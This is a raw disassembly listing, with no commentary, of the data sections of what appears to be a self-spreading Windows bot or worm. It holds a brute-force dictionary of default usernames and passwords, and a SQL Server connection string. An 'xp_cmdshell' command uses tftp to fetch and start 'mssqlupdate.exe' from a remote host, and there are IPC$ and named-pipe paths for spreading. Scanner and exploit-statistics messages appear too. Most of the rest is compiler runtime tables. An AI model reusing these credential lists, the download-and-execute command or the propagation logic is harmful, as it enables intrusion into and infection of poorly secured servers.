aWindows	db 'windows',0          ; DATA XREF: .data:0042465Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0042465Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0042465Co
aOem		db 'oem',0              ; DATA XREF: .data:0042465Co
aUser		db 'user',0             ; DATA XREF: .data:0042465Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0042465Co
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0042465Co
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:0042465Co
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0042465Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0042465Co
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:0042465Co
aWeb		db 'web',0              ; DATA XREF: .data:0042465Co
aOutlook	db 'outlook',0          ; DATA XREF: .data:0042465Co
aMail		db 'mail',0             ; DATA XREF: .data:0042465Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0042465Co
		align 10h
aNull_1		db 'null',0             ; DATA XREF: .data:0042465Co
		align 4
aServer		db 'server',0           ; DATA XREF: .data:0042465Co
		align 10h
aSystem_0	db 'system',0           ; DATA XREF: .data:0042465Co
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0042465Co
aChangeme	db 'changeme',0         ; DATA XREF: .data:0042465Co
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0042465Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:0042465Co
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0042465Co
		align 4
aNone		db 'none',0             ; DATA XREF: .data:0042465Co
		align 4
aGuest		db 'guest',0            ; DATA XREF: .data:0042465Co
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0042465Co
		align 4
a2004		db '2004',0             ; DATA XREF: .data:0042465Co
		align 4
a2003		db '2003',0             ; DATA XREF: .data:0042465Co
		align 4
a2002		db '2002',0             ; DATA XREF: .data:0042465Co
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0042465Co
		align 4
a2000		db '2000',0             ; DATA XREF: .data:0042465Co
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0042465Co
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .data:0042465Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: .data:0042465Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0042465Co
a123456		db '123456',0           ; DATA XREF: .data:0042465Co
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0042465Co
		align 10h
a1234		db '1234',0             ; DATA XREF: .data:0042465Co
		align 4
a123		db '123',0              ; DATA XREF: .data:0042465Co
a12		db '12',0               ; DATA XREF: .data:0042465Co
		align 10h
a1:					; DATA XREF: .data:0042465Co
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:0042465Co
aPwd		db 'pwd',0              ; DATA XREF: .data:0042465Co
aPass		db 'pass',0             ; DATA XREF: .data:0042465Co
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0042465Co
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .data:0042465Co
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0042465Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:0042465Co
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .data:0042465Co
aAdmins		db 'admins',0           ; DATA XREF: .data:0042465Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0042465Co
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042465Co
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0042465Co
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0042465Co
		align 4
aSa		db 'sa',0               ; DATA XREF: .text:004090E8o
					; .data:0042465Co
		align 4
aRoot		db 'root',0             ; DATA XREF: .text:004090EFo
					; .data:0042465Co
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .text:004090F6o
					; .data:0042465Co
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .text:0040919Fo
		align 10h
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET mssqlupdate.exe&start'
					; DATA XREF: .text:00409220o
		db ' mssqlupdate.exe&exit',0Dh,0Ah
		db 27h,0
		align 4
aWxp		db 'WXP',0
aNt42000	db 'NT42000',0
a_:					; DATA XREF: .text:004092DAo
		unicode	0, <.>,0
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: .text:004092FEo
		align 4
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: .text:0040934Ao
		align 4
dword_421428	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: .text:004093ABo
dword_42143C	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: .text:0040942Do
dword_421450	dd 2 dup(0)		; DATA XREF: .text:00409500o
; ---------------------------------------------------------------------------

loc_421458:				; DATA XREF: .text:00409520o
		jmp	short near ptr dword_42145C
; ---------------------------------------------------------------------------
		align 4
dword_42145C	dd 0			; CODE XREF: r69pu5ti:loc_421458j
dword_421460	dd 2E6E6373h, 6E6762h	; DATA XREF: .text:0041D7ADo
aScanUnknownExp	db 'Scan: Unknown Exploit.',0 ; DATA XREF: .text:loc_409E85o
		align 10h
a____0		db '*.*.*.*',0          ; DATA XREF: .text:00409EA7o
aA		db '-a',0               ; DATA XREF: .text:00409EE0o
		align 4
aB		db '-b',0               ; DATA XREF: .text:00409EF2o
		align 10h
aC		db '-c',0               ; DATA XREF: .text:00409F04o
		align 4
aScanNotEnoughT	db 'Scan: Not Enough Threads. %d Available.',0 ; DATA XREF: .text:00409F4Eo
aX_		db 'x.',0               ; DATA XREF: .text:00409FD4o
		align 10h
aD_		db '%d.',0              ; DATA XREF: .text:00409FE8o
aSx_		db '%sx.',0             ; DATA XREF: .text:0040A006o
					; .text:0040A033o
		align 4
aSD_		db '%s%d.',0            ; DATA XREF: .text:00409FFBo
		align 4
aSx		db '%sx',0              ; DATA XREF: .text:0040A060o
aSD		db '%s%d',0             ; DATA XREF: .text:0040A06Fo
		align 10h
aD_x_x_x	db '%d.x.x.x',0         ; DATA XREF: .text:0040A130o
		align 4
aD_D_x_x	db '%d.%d.x.x',0        ; DATA XREF: .text:0040A119o
		align 4
aD_D_D_x	db '%d.%d.%d.x',0       ; DATA XREF: .text:0040A102o
		align 4
aScanSDUsingDTh	db 'Scan: %s:%d Using %d Threads.',0 ; DATA XREF: .text:0040A175o
		align 4
aScn		db 'SCN',0              ; DATA XREF: .text:0040A241o
					; .text:0040A2B9o
aScn_end	db 'scn.end',0          ; DATA XREF: .text:0041D7C9o
aScanAllScanThr	db 'Scan: All Scan Threads Stopped. %d killed.',0
					; DATA XREF: .text:0040A333o
		align 4
aScan_stats	db 'scan.stats',0       ; DATA XREF: .text:0041D7E5o
		align 4
aStatisticsExpl	db 'Statistics: Exploits:',0 ; DATA XREF: .text:0040A38Do
		align 10h
aSSD		db '%s %s: %d',0        ; DATA XREF: .text:0040A3B5o
		align 4
aSDaemons	db '%s; Daemons:',0     ; DATA XREF: .text:0040A3D9o
		align 4
aSTftpD		db '%s TFTP: %d',0      ; DATA XREF: .text:0040A3EFo
aSHttpD		db '%s HTTP: %d',0      ; DATA XREF: .text:0040A405o
aA@		db 'Ñ@',0              ; DATA XREF: .text:0041D7BCo
					; .data:off_433BDCo
aWv@		db 'w¢@',0              ; DATA XREF: .text:0041D7D8o
					; .data:off_433BD4o
aTg@		db 'T£@',0              ; DATA XREF: .text:0041D7F4o
					; .data:off_433BD8o
dbl_4215C0	dq 5.0e-1		; DATA XREF: .text:loc_4097ECr
flt_4215C8	dd 4.2949673e9		; DATA XREF: .text:004097E6r
		align 10h
		dd 48h,	0Eh dup(0)
		dd 423068h, 421830h, 0Eh
dword_421618	dd 3 dup(0)		; DATA XREF: r69pu5ti:0041E300o
		dd 425AD4h, 42162Ch, 2 dup(0)
		dd 2, 42163Ch, 421648h,	421664h, 0
		dd 425AD4h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42162Ch, 425AB8h, 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	421680h, 2 dup(0)
		dd 1, 421690h, 421664h,	0
dword_421698	dd 3 dup(0)		; DATA XREF: r69pu5ti:off_41E304o
		dd 425A98h, 4216ACh, 2 dup(0)
		dd 2, 4216BCh, 4216C8h,	421664h, 0
		dd 425A98h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4216ACh
dword_4216E4	dd 3 dup(0)		; DATA XREF: r69pu5ti:off_41E310o
		dd 425A78h, 4216F8h, 2 dup(0)
		dd 3, 421708h, 421718h,	4216C8h, 421664h, 0
		dd 425A78h, 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4216F8h
dword_421734	dd 3 dup(0)		; DATA XREF: r69pu5ti:off_41E31Co
		dd 423008h, 421748h, 2 dup(0)
		dd 3, 421758h, 421768h,	4216C8h, 421664h, 0
		dd 423008h, 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421748h
dword_421784	dd 3 dup(0)		; DATA XREF: r69pu5ti:0041E358o
		dd 425AB8h, 421680h
dword_421798	dd 3 dup(0)		; DATA XREF: r69pu5ti:0041E378o
		dd 423038h, 4217ACh, 2 dup(0)
		dd 1, 4217BCh, 4217C4h,	0
		dd offset off_423038, 2	dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	4217ACh
dword_4217E0	dd 3 dup(0)		; DATA XREF: r69pu5ti:0041EC10o
		dd 423E30h, 4217F4h, 2 dup(0)
		dd 2, 421804h, 421810h,	421664h, 0
		dd 423E30h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4217F4h, 0
		dd 0E2C5h, 0E3CAh, 10640h, 122DCh, 18734h, 1D5F3h, 1D60Eh
		dd 1D629h, 1D64Ch, 1D66Fh, 1D694h, 1D6B9h, 1D6EBh, 1D720h
		dd 0
dword_42186C	dd 2 dup(0)		; DATA XREF: sub_414DA4+2o
					; sub_414DA4+7o
dword_421874	dd 0			; DATA XREF: sub_414DC8+2o
					; sub_414DC8+7o
		dd 0FFFFFFFFh, 41D5EBh
dword_421880	dd 19930522h, 1, 421878h, 5 dup(0) ; DATA XREF:	sub_41D5F3+11o
		dd 1
dword_4218A4	dd 0			; DATA XREF: sub_40AAF3+29o
		dd offset sub_40AA87, 0
		dd offset dword_4218B4
dword_4218B4	dd 3, 4218C4h, 421F18h,	421F34h, 0 ; DATA XREF:	r69pu5ti:004218B0o
		dd offset off_423008, 0
		dd 0FFFFFFFFh, 0
		dd 28h,	40AB32h
dword_4218E0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40C58B+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40C61D, 0
dword_421900	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40C9B4+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40C9EA, 0
dword_421920	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40CEC3+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40CF7D, 0
dword_421940	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40CF9A+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D0DF, 0
dword_421960	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D257+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D2C8, 0
dword_421980	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D35A+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D3B0, 0
dword_4219A0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D3E8+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D42E, 0
dword_4219C0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40DD4A+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DE07, 0
dword_4219E0	dd 0FFFFFFFEh, 0	; DATA XREF: .text:0040DFD4o
		dd 0FFFFFF80h, 0
		dd 0FFFFFFFEh, 40E199h,	40E19Dh, 0FFFFFFFEh, 40E15Fh, 40E173h
dword_421A08	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40E9A1+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40EA39, 0
dword_421A28	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40EC6A+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0EDh, 40h, 0
		align 8
dword_421A48	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F0B2+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F11C, 0
dword_421A68	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F267+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F312, 0
dword_421A88	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F3B6+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 0
		dd 40F4BFh, 0FFFFFFFEh,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0F4h, 40h, 0
dword_421AB0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F934+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F9EE, 0
dword_421AD0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_411B0B+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd 411BC1h, 0
dword_421AF0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_411C6D+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_411CD4, 0
dword_421B10	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412126+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_412240, 0
dword_421B30	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412464+2o
		dd 0FFFFFF8Ch, 0
		dd 0FFFFFFFEh, 41268Dh,	412691h, 0
dword_421B50	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412765+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_412828, 0
dword_421B70	dd 0FFFFFFFEh, 0	; DATA XREF: sub_412902+2o
		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_4129D3, 2	dup(0)
		dd offset sub_41299F
dword_421B98	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4140C6+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_414198, 0
dword_421BB8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_414FFE+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4150BE, 0
		dd offset loc_415080, offset loc_41508A
dword_421BE0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_415124+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 415167h,	415170h, 40h, 2	dup(0)
		dd 415247h, 0FFFFFFFFh,	0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421BFCh
dword_421C30	dd 19930522h, 2, 421C0Ch, 1, 421C1Ch, 3	dup(0) ; DATA XREF: sub_41D60E+11o
		dd 1, 0
dword_421C58	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41525F+2o
		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41537F, 0
		dd offset loc_4152EF, offset loc_4152F8
dword_421C80	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4153FB+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 415566h,	41556Ah, 0
dword_421CA0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41557A+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4155FFh,	415603h
dword_421CBC	dd 0			; DATA XREF: sub_415769+162o
		dd offset sub_414F31, 0
		dd offset dword_421CCC
dword_421CCC	dd 2, 421CD8h, 421F34h,	0 ; DATA XREF: r69pu5ti:00421CC8o
		dd offset off_423E30, 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	415ABFh, 0
dword_421CF8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_415BBB+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 415BDBh,	415BDFh, 0
dword_421D18	dd 0FFFFFFFEh, 0	; DATA XREF: sub_415C07+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 415C2Bh,	415C2Fh, 0
dword_421D38	dd 0FFFFFFFEh, 0	; DATA XREF: sub_416874+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 4168FAh,	416911h, 0
dword_421D58	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4169B2+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4169F8h,	416A0Ch, 0
dword_421D78	dd 0FFFFFFFEh, 0	; DATA XREF: sub_416AA1+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_416BB0, 0
dword_421D98	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417180+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417252, 0
dword_421DB8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417545+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 417562h,	41757Eh, 0
dword_421DD8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417602+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4176F9, 0
dword_421DF8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417720+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41785E, 0
dword_421E18	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4179DC+2o
		dd 0FFFFFFC0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417B4A, 0
dword_421E38	dd 0FFFFFFFEh, 0	; DATA XREF: sub_417BA0+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417C36, 0
dword_421E58	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41827D+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_418316, 0
dword_421E78	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4189BA+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418A4C, 0
dword_421E98	dd 0FFFFFFFEh, 0	; DATA XREF: sub_418A7C+2o
		dd 0FFFFFFC8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418C12, 2	dup(0)
		dd offset sub_418B49
dword_421EC0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_418C1B+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418CF2, 0
dword_421EE0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_419BEE+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 419C1Bh,	419C37h, 0
		dd offset off_425A78, 0
		dd 0FFFFFFFFh, 0
		dd 28h,	402170h, 0
		dd offset aUa, 0	; "|ãA"
		dd 0FFFFFFFFh, 0
		dd 28h,	402188h, 0
		dd offset aUa_0, 0	; "|ãA"
		dd 0FFFFFFFFh, 0
dword_421F48	dd 0Ch,	40C841h, 3, 421EFCh, 421F18h, 421F34h
					; DATA XREF: r69pu5ti:00421F6Co
dword_421F60	dd 0			; DATA XREF: sub_401FC0+48o
					; sub_408525+48o ...
		dd offset loc_401E24, 0
		dd offset dword_421F48+8
		dd 0
		dd offset aUa_1, 0	; "|ãA"
		dd 0FFFFFFFFh, 0
dword_421F84	dd 0Ch,	4023D3h, 2, 421F70h, 421F34h ; DATA XREF: r69pu5ti:00421FA4o
dword_421F98	dd 0			; DATA XREF: sub_402389+34o
					; .text:0040CC6Eo
		dd offset sub_401D7B, 0
		dd offset dword_421F84+8
dword_421FA8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4019F9+2o
		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 5 dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd 4022B1h, 40h, 2 dup(0)
		dd 40223Fh, 2 dup(2), 3, 1, 421FF0h, 2 dup(0)
		dd 3, 1, 422000h
dword_422038	dd 19930522h, 4, 421FD0h, 2, 422010h, 3	dup(0) ; DATA XREF: .text:0041D63Ao
		dd 1, 0FFFFFFFFh, 41D644h
dword_422064	dd 19930522h, 1, 42205Ch, 5 dup(0) ; DATA XREF:	.text:0041D65Do
		dd 1, 0FFFFFFFFh, 41D667h
dword_422090	dd 19930522h, 1, 422088h, 5 dup(0) ; DATA XREF:	.text:0041D680o
		dd 1, 0FFFFFFFFh, 41D68Ah
dword_4220BC	dd 19930522h, 1, 4220B4h, 5 dup(0) ; DATA XREF:	.text:0041D6A5o
		dd 1, 0FFFFFFFFh, 41D6AFh
dword_4220E8	dd 19930522h, 1, 4220E0h, 5 dup(0) ; DATA XREF:	.text:0041D6D4o
		dd 1, 0FFFFFFFFh, 41D6DEh
dword_422114	dd 19930522h, 1, 42210Ch, 5 dup(0) ; DATA XREF:	.text:0041D709o
		dd 1, 0FFFFFFFFh, 41D713h
dword_422140	dd 19930522h, 1, 422138h, 5 dup(0) ; DATA XREF:	.text:0041D73Eo
		dd 1, 3A7h dup(0)
r69pu5ti	ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00012000 (  73728.)
; Section size in file		: 00012000 (  73728.)
; Offset to raw	data for section: 00023000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 423000h
off_423000	dd 2 dup(offset	aBadAllocation)	; DATA XREF: isk1wxzg:00460900o
					; "bad allocation"
off_423008	dd offset nullsub_292, 0 ; DATA	XREF: r69pu5ti:004218C8o
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(offset	aBadAllocation)	; "bad allocation"
off_423038	dd offset nullsub_292, 0 ; DATA	XREF: r69pu5ti:004217C4o
a_?avtype_info@	db '.?AVtype_info@@',0
off_423050	dd offset aBadAllocation, 3 dup(0) ; DATA XREF:	sub_40CC01+3o
					; "bad allocation"
dword_423060	dd 2			; DATA XREF: sub_4136C1+42r
					; sub_413861+19r ...
		dd offset sub_414E80
dword_423068	dd 0B99ED75Ah		; DATA XREF: sub_401000+Cr
					; sub_40140A+Er ...
dword_42306C	dd 466128A5h		; DATA XREF: sub_40E68F+AEr
					; sub_414DEC+29w ...
dword_423070	dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: sub_40E7C2+29o
					; sub_40E9A1+63o ...
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	31h dup(0)
		dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 0
		db    0
		align 2
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		align 4
		dd 21h dup(0)
byte_423290	db 0			; DATA XREF: sub_40EC6A+102w
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h, 0
byte_423398	db 0			; DATA XREF: sub_40EC6A+11Ew
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_423498	dd 9F2980h		; DATA XREF: sub_40AB59+41r
					; sub_40E9A1+4Cr ...
byte_42349C	db 1			; DATA XREF: sub_40EABF+E3r
		db 2, 4, 8
dword_4234A0	dd 3A4h			; DATA XREF: sub_40EABF:loc_40EAFBr
dword_4234A4	dd 82798260h		; DATA XREF: sub_40EABF+12Br
		dd 21h,	0
dword_4234B0	dd 0DFA6h		; DATA XREF: sub_40EABF+C6r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd 41EF34h
dword_423594	dd 0FFFFFFFEh		; DATA XREF: sub_40AB59+2Cr
					; sub_40AB59+4Cr ...
dword_423598	dd 43h,	0		; DATA XREF: sub_40EE22:loc_40EF1Fo
					; sub_40EF62:loc_40EFADo ...
dword_4235A0	dd 2, 15h dup(0)	; DATA XREF: sub_40F074+28o
					; sub_40F3B6+DAo ...
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd offset dword_423598
		dd 3 dup(0)
		dd 2 dup(1), 3 dup(0)
		dd offset off_423F18
		dd 2 dup(0)
off_423668	dd offset asc_41ED30	; DATA XREF: sub_418D4B+Dr
					; sub_418DC8+Dr ...
					; "	    (((((		   H"
		dd 41F1B8h, 41F338h, 423E58h
off_423678	dd offset dword_4235A0	; DATA XREF: sub_40AB59+24r
					; sub_40F0B2+4Er ...
		dd 1
off_423680	dd offset dword_4235A0	; DATA XREF: sub_4143CD+17o
		dd offset dword_423070
dword_423688	dd 0Eh			; DATA XREF: sub_40F128+13r
					; sub_40F194+13r ...
dword_42368C	dd 0Dh			; DATA XREF: sub_40F128+1r
					; sub_40F128+1Er ...
dword_423690	dd 1			; DATA XREF: sub_40F799:loc_40F79Fr
dword_423694	dd 16h			; DATA XREF: sub_40F799:loc_40F7BAr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4237F8	dd 0Ch			; DATA XREF: sub_40F7D4+9o
dword_4237FC	dd 8			; DATA XREF: sub_40F7E7+9o
off_423800	dd offset dword_425E98	; DATA XREF: sub_40F881:loc_40F8BEw
					; sub_40F8CA+8o ...
dword_423804	dd 1			; DATA XREF: sub_40F881:loc_40F88Ar
		dd offset dword_425EB0
		dd 1, 2	dup(0)
		dd offset dword_425EC8
		dd 1, 425EE0h, 1, 2 dup(0)
		dd offset dword_425EF8
		dd 1, 425F10h, 1, 425F28h, 1, 2	dup(0)
		dd offset dword_425F40
		dd 1, 2	dup(0)
		dd offset dword_425F58
		dd 1, 425F70h, 1, 425F88h, 1, 2	dup(0)
		dd offset dword_425FA0
		dd 1, 425FB8h, 1, 425FD0h, 1, 22h dup(0)
dword_423920	dd 10h			; DATA XREF: sub_40F8CA+2Ao
